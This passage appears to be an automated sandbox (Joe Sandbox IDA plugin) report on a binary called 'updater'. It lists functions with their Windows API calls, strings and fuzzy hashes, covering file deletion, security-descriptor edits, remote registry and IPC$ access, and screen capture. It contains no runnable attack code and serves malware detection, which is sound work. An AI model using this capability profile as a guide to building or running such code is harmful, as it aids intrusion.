CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00C1A8D6
_memset.LIBCMT ref: 00C1A8F5
_wcsncpy.LIBCMT ref: 00C1A931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00C1A966
CloseHandle.KERNEL32(00000000), ref: 00C1A971
RemoveDirectoryW.KERNEL32(?), ref: 00C1A97A
CloseHandle.KERNEL32(00000000), ref: 00C1A984

Strings

:, xrefs: 00C1A895
\, xrefs: 00C1A88A
\??\%s, xrefs: 00C1A86E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: f937362aebc31a3bdfc55ea5a299123d250cc4b968c08cb498178abcc7378640
Instruction ID: 2fd5146d725441471904680cb8c240dcbb6faa25949c83d25d0f4c9551e8dc15
Opcode Fuzzy Hash: f937362aebc31a3bdfc55ea5a299123d250cc4b968c08cb498178abcc7378640
Instruction Fuzzy Hash: BF319275540219ABDB219FA0DC49FEF77BCEF8A710F2041A6F618D21A0E77097849B25

Function 00C3C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00C3982C,?,?), ref: 00C3C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00C3982C,?,?,00000000,?), ref: 00C3C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00C3982C,?,?,00000000,?), ref: 00C3C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,00C3982C,?,?,00000000,?), ref: 00C3C0F7
GlobalLock.KERNEL32(00000000), ref: 00C3C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00C3982C,?,?,00000000,?), ref: 00C3C10F
GlobalUnlock.KERNEL32(00000000), ref: 00C3C118
CloseHandle.KERNEL32(00000000,?,?,?,?,00C3982C,?,?,00000000,?), ref: 00C3C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00C3982C,?,?,00000000,?), ref: 00C3C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,00C43C7C,?), ref: 00C3C149
GlobalFree.KERNEL32(00000000), ref: 00C3C159
GetObjectW.GDI32(00000000,00000018,?), ref: 00C3C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00C3C1A8
DeleteObject.GDI32(00000000), ref: 00C3C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00C3C1E6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 89422a6a773d62bcff15ebe3313aa9633ba84dcd1514e0b37c1344014cac1324
Instruction ID: 4e55742747e928197755f450db0a057d17c83820512f24a96e2f2910a9fbf8b5
Opcode Fuzzy Hash: 89422a6a773d62bcff15ebe3313aa9633ba84dcd1514e0b37c1344014cac1324
Instruction Fuzzy Hash: D5410975540204AFDB219F65DC8CFAE7BB9FF8A711F204058FA16E72A0DB709A41DB60

Function 00C1DEDC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00C1E053
_wcscat.LIBCMT ref: 00C1E06B
_wcscat.LIBCMT ref: 00C1E07D
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C1E092
SetCurrentDirectoryW.KERNEL32(?), ref: 00C1E0A6
GetFileAttributesW.KERNEL32(?), ref: 00C1E0BE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00C1E0D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00C1E0EA

Strings

*.*, xrefs: 00C1E129

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 88a86fe125e8dcff31638cff4e074a5d30e959797d3e0d866f808690c63730fe
Instruction ID: 4ab6f1284972815bfea838bc40794fdfdd2973067c427fa4c5075e7c47104c8b
Opcode Fuzzy Hash: 88a86fe125e8dcff31638cff4e074a5d30e959797d3e0d866f808690c63730fe
Instruction Fuzzy Hash: 8C8191715042419FC724DFA4C8449EEB7E4BB9A310F14882EF89BC7251E770DE86DB52

Function 00C3C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00C3C8A4
GetFocus.USER32 ref: 00C3C8B4
GetDlgCtrlID.USER32(00000000), ref: 00C3C8BF
_memset.LIBCMT ref: 00C3C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00C3CA15
GetMenuItemCount.USER32(?), ref: 00C3CA35
GetMenuItemID.USER32(?,00000000), ref: 00C3CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00C3CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00C3CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00C3CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00C3CB31

Strings

0, xrefs: 00C3C9E2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 860d102896170622ef3485188c36d74d37d70a3d10c419c72b09a5555f05531c
Instruction ID: c0873eeb7218f6e0f167b5892fa7e368ac56c057221b3b30820583e2f97f66a3
Opcode Fuzzy Hash: 860d102896170622ef3485188c36d74d37d70a3d10c419c72b09a5555f05531c
Instruction Fuzzy Hash: FA816C712183059FD710DF14C885BAEBBE8FB88354F10496DF9A9A3291D730DA05DBA2

Function 00C08ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C08E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00C08E3C
Part of subcall function 00C08E20: GetLastError.KERNEL32(?,00C08900,?,?,?), ref: 00C08E46
Part of subcall function 00C08E20: GetProcessHeap.KERNEL32(00000008,?,?,00C08900,?,?,?), ref: 00C08E55
Part of subcall function 00C08E20: HeapAlloc.KERNEL32(00000000,?,00C08900,?,?,?), ref: 00C08E5C
Part of subcall function 00C08E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00C08E73

Part of subcall function 00C08EBD: GetProcessHeap.KERNEL32(00000008,00C08916,00000000,00000000,?,00C08916,?), ref: 00C08EC9
Part of subcall function 00C08EBD: HeapAlloc.KERNEL32(00000000,?,00C08916,?), ref: 00C08ED0
Part of subcall function 00C08EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00C08916,?), ref: 00C08EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00C08B2E
_memset.LIBCMT ref: 00C08B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00C08B62
GetLengthSid.ADVAPI32(?), ref: 00C08B73
GetAce.ADVAPI32(?,00000000,?), ref: 00C08BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00C08BCC
GetLengthSid.ADVAPI32(?), ref: 00C08BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00C08BF8
HeapAlloc.KERNEL32(00000000), ref: 00C08BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00C08C20
CopySid.ADVAPI32(00000000), ref: 00C08C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00C08C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00C08C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00C08C92

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: eaf75f94a8755a8cc5cc1afd01b3540c1e1d794a467e45b6cc6b98da8c0967f0
Instruction ID: a967cbc511b7a99ff3937b3b931dc84bd5b17364a1abcbc00fc4248eb2760ec5
Opcode Fuzzy Hash: eaf75f94a8755a8cc5cc1afd01b3540c1e1d794a467e45b6cc6b98da8c0967f0
Instruction Fuzzy Hash: CD614975900209EFDF10DFA4DC49FAEBB79FF05300F148169EAA5A7290DB359A09CB60

Function 00C27A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00C27A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00C27A85
CreateCompatibleDC.GDI32(?), ref: 00C27A91
SelectObject.GDI32(00000000,?), ref: 00C27A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00C27AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00C27B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00C27B52
SelectObject.GDI32(00000006,?), ref: 00C27B5A
DeleteObject.GDI32(?), ref: 00C27B63
DeleteDC.GDI32(00000006), ref: 00C27B6A
ReleaseDC.USER32(00000000,?), ref: 00C27B75

Strings

(, xrefs: 00C27AFA

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 30055e63d9afb18260518a6f946c5b16b69a1a57e06f8f5ae741f814b5442333
Instruction ID: 5c81ad29c2199ccf8f768fcb4c4bae7bcc1a1e542c42741f53ea7cadac3e6093
Opcode Fuzzy Hash: 30055e63d9afb18260518a6f946c5b16b69a1a57e06f8f5ae741f814b5442333
Instruction Fuzzy Hash: 81515775944219EFCB14CFA8DC84FAEBBB9FF49310F14851DFA5AA7210D731A9408BA0

Function 00C1A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00C1A4D4

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00C1A4F6
__swprintf.LIBCMT ref: 00C1A54F
__swprintf.LIBCMT ref: 00C1A568
_wprintf.LIBCMT ref: 00C1A61E
_wprintf.LIBCMT ref: 00C1A63C

Strings

Line %d (File "%s"):, xrefs: 00C1A549, 00C1A562
Error: , xrefs: 00C1A5E6
^ ERROR, xrefs: 00C1A5C0
"%s" (%d) : ==> %s:, xrefs: 00C1A637
"%s" (%d) : ==> %s:%s%s, xrefs: 00C1A619

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 32268ac09898e65ee1374b14ef14388230bd11198dc9d55b0e0b45d99cc45e8a
Instruction ID: c6b3ab9637dab53ade574bfb3455cd169a497bd383c250b01543a53268341965
Opcode Fuzzy Hash: 32268ac09898e65ee1374b14ef14388230bd11198dc9d55b0e0b45d99cc45e8a
Instruction Fuzzy Hash: E151A071800109AACF14EBE4CD46FEEB7B9AF06340F1045A9F515B21A2EB316F99DB61

Function 00C19710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C1951A: __time64.LIBCMT ref: 00C19524

Part of subcall function 00BC4A8C: _fseek.LIBCMT ref: 00BC4AA4

__wsplitpath.LIBCMT ref: 00C197EF

Part of subcall function 00BD431E: __wsplitpath_helper.LIBCMT ref: 00BD435E

_wcscpy.LIBCMT ref: 00C19802
_wcscat.LIBCMT ref: 00C19815
__wsplitpath.LIBCMT ref: 00C1983A
_wcscat.LIBCMT ref: 00C19850
_wcscat.LIBCMT ref: 00C19863

Part of subcall function 00C19560: _memmove.LIBCMT ref: 00C19599
Part of subcall function 00C19560: _memmove.LIBCMT ref: 00C195A8

_wcscmp.LIBCMT ref: 00C197AA

Part of subcall function 00C19CF1: _wcscmp.LIBCMT ref: 00C19DE1
Part of subcall function 00C19CF1: _wcscmp.LIBCMT ref: 00C19DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00C19A0D
_wcsncpy.LIBCMT ref: 00C19A80
DeleteFileW.KERNEL32(?,?), ref: 00C19AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00C19ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00C19ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00C19AEF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 6de3f5d0e9cdda40921d4c097177c53ff02baa8b318e80d878693e1e8df01903
Instruction ID: ed47e70556d4591185d4a7cbba77cc0e0aee993879fe3483f2731240d592e07b
Opcode Fuzzy Hash: 6de3f5d0e9cdda40921d4c097177c53ff02baa8b318e80d878693e1e8df01903
Instruction Fuzzy Hash: 8FC13BB1D00228AADF21DF95CC95EDEB7BDEF45310F0040AAF609E7251EB709A849F65

Function 00BC5BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BC5BF1
GetMenuItemCount.USER32(00C77890), ref: 00C00E7B
GetMenuItemCount.USER32(00C77890), ref: 00C00F2B
GetCursorPos.USER32(?), ref: 00C00F6F
SetForegroundWindow.USER32(00000000), ref: 00C00F78
TrackPopupMenuEx.USER32(00C77890,00000000,?,00000000,00000000,00000000), ref: 00C00F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00C00F97

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: c737cbe3400de488b91954fdb59c7cd85adfb3cca82586c419e71bbef5537d96
Instruction ID: 2b4b28ca93a33a4224000d3f38d32eae3d50fd12c3bc8ec4946454c7cd1d629a
Opcode Fuzzy Hash: c737cbe3400de488b91954fdb59c7cd85adfb3cca82586c419e71bbef5537d96
Instruction Fuzzy Hash: 4971F470644709BFEB308B54DC89FAABFA4FF05764F20421AF634A61D1C7B168A0DB94

Function 00C083FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

_memset.LIBCMT ref: 00C08489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00C084BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00C084DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00C084F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00C08520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00C08548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00C08553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00C08558

Strings

\CLSID, xrefs: 00C08440
SOFTWARE\Classes\, xrefs: 00C0842A
\IPC$, xrefs: 00C084A0

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 7c6d43462d61b25ddb192701dbd9345620e5facfb5a8537e2668bf3030ce958c
Instruction ID: 270f9894713f00774038c2aac728bdc1e77e5a0b00d6133b5378e1d2b908b753
Opcode Fuzzy Hash: 7c6d43462d61b25ddb192701dbd9345620e5facfb5a8537e2668bf3030ce958c
Instruction Fuzzy Hash: 63410A76C1022DABCF11EBA4DC95EEEB7B8FF05340F004569E955B61A1EA309E05CB90

Function 00C3147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C3040D,?,?), ref: 00C31491

Strings

HKLM, xrefs: 00C3150F
HKEY_USERS, xrefs: 00C31592
HKEY_CURRENT_USER, xrefs: 00C31570
HKEY_LOCAL_MACHINE, xrefs: 00C314FA
HKCC, xrefs: 00C3155F
HKCR, xrefs: 00C31539
HKEY_CLASSES_ROOT, xrefs: 00C31524
HKU, xrefs: 00C315A3
HKEY_CURRENT_CONFIG, xrefs: 00C3154E
HKCU, xrefs: 00C31581

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: a429e44cec030c907ccfbe559dc8db036a6cfc5977924a145c5434b328f899c6
Instruction ID: 25bc393c8e149df2833c86972e699131c3e1515c6b8568c1d793907bbc5e17bc
Opcode Fuzzy Hash: a429e44cec030c907ccfbe559dc8db036a6cfc5977924a145c5434b328f899c6
Instruction Fuzzy Hash: 73414D7052425A8FCF10EF54D891BEE3765AF62300F544466FCA25B252DB30EE19CB61

Function 00C0FF5C Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00BFFB41,00000010,?,Bad directive syntax error,00C40980,00000000,?,?,?), ref: 00C0FF7D
LoadStringW.USER32(00000000,?,00BFFB41,00000010), ref: 00C0FF84

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

_wprintf.LIBCMT ref: 00C0FFB7
__swprintf.LIBCMT ref: 00C0FFD9
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00C10048

Strings

Line %d (File "%s"):, xrefs: 00C0FFEE
%s (%d) : ==> %s.: %s %s, xrefs: 00C0FFB2
., xrefs: 00C1002E
Line %d:, xrefs: 00C0FFD3
Error: , xrefs: 00C10016

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 320aa1c924fbc0aee789326c14bebe5500f95bae9cc3661c0da328012f34bb4d
Instruction ID: b1a107d86589a64719980966e3f446f47b8dfe99215079a329fad5cdd408807a
Opcode Fuzzy Hash: 320aa1c924fbc0aee789326c14bebe5500f95bae9cc3661c0da328012f34bb4d
Instruction Fuzzy Hash: E121823184021EABCF21EF94CC56FEE77B9BF19300F0444AAF515721A2DB71AA68DB51

Function 00C15882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

Part of subcall function 00BC153B: _memmove.LIBCMT ref: 00BC15C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00C158EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00C15901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C15912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00C15924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00C15935

Strings

alias PlayMe, xrefs: 00C158C4
open , xrefs: 00C1589A
play PlayMe wait, xrefs: 00C1591F
close PlayMe, xrefs: 00C158FC, 00C15929
play PlayMe, xrefs: 00C15930
status PlayMe mode, xrefs: 00C158E6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

